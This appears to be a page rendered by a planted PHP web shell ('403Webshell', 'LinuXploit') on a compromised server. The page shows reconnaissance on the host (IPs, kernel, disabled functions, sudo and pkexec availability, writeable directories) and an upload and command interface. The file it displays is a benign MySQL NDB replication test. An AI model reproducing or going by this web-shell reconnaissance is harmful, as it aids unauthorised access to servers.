403Webshell
Server IP : 104.21.38.3  /  Your IP : 162.158.170.26
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/mysql/src/mysql-test/suite/ndb_rpl/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/mysql/src/mysql-test/suite/ndb_rpl/t/ndb_rpl_load.test
# The include statement below is a temp one for tests that are yet to
#be ported to run with InnoDB,
#but needs to be kept for tests that would need MyISAM in future.
--source include/force_myisam_default.inc

#
# Currently this test only runs in the source tree with the 
# ndb/test programs compiled.
# invoke with:  ./mysql-test-run --ndb-extra-test --do-test=rpl_ndb_load
#

--source include/have_ndb.inc
--source include/have_ndb_extra.inc
--source include/have_binlog_format_row.inc
--source suite/ndb_rpl/ndb_master-slave.inc

--disable_warnings
# reset master
connection master;
DROP DATABASE IF EXISTS TEST_DB;
CREATE DATABASE TEST_DB;
--enable_warnings

#
# These tables should correspond to the table definitions in
# storage/ndb/test/ndbapi/bench/
#
connection master;
USE TEST_DB;
CREATE TABLE SUBSCRIBER
                ( NUMBER       CHAR(12) BINARY NOT NULL,
                  NAME         CHAR(32) BINARY NOT NULL,
                  GROUP_ID     INT UNSIGNED NOT NULL,
                  LOCATION     INT UNSIGNED NOT NULL,
                  SESSIONS     INT UNSIGNED NOT NULL,
                  CHANGED_BY   CHAR(32) BINARY NOT NULL,
                  CHANGED_TIME CHAR(32) BINARY NOT NULL,
                  PRIMARY KEY USING HASH (NUMBER))
   ENGINE = NDB;

CREATE TABLE GROUP_T
                ( GROUP_ID     INT UNSIGNED NOT NULL,
                  GROUP_NAME   CHAR(32) BINARY NOT NULL,
                  ALLOW_READ   CHAR(1)  BINARY NOT NULL,
                  ALLOW_INSERT INT UNSIGNED NOT NULL,
                  ALLOW_DELETE INT UNSIGNED NOT NULL,
                  PRIMARY KEY USING HASH (GROUP_ID))
   ENGINE = NDB;

CREATE TABLE SESSION
                ( NUMBER    CHAR(12)   BINARY NOT NULL,
                  SERVER_ID INT UNSIGNED NOT NULL,
                  DATA      VARBINARY(1998) NOT NULL,
                  PRIMARY KEY USING HASH (NUMBER,SERVER_ID))
   ENGINE = NDB;

CREATE TABLE SERVER
                ( SUFFIX       CHAR(2)  BINARY NOT NULL,
                  SERVER_ID    INT UNSIGNED NOT NULL,
                  NAME         CHAR(32) BINARY NOT NULL,
                  NO_OF_READ   INT UNSIGNED NOT NULL,
                  NO_OF_INSERT INT UNSIGNED NOT NULL,
                  NO_OF_DELETE INT UNSIGNED NOT NULL,
                  PRIMARY KEY USING HASH (SUFFIX, SERVER_ID))
   ENGINE = NDB;

#
# start "load" application
#
--exec NDB_CONNECTSTRING=$NDB_CONNECTSTRING ../storage/ndb/test/ndbapi/DbCreate >> $NDB_TOOLS_OUTPUT
--exec NDB_CONNECTSTRING=$NDB_CONNECTSTRING ../storage/ndb/test/ndbapi/DbAsyncGenerator  >> $NDB_TOOLS_OUTPUT
--source include/rpl_end.inc

Youez - 2016 - github.com/yon3zu
LinuXploit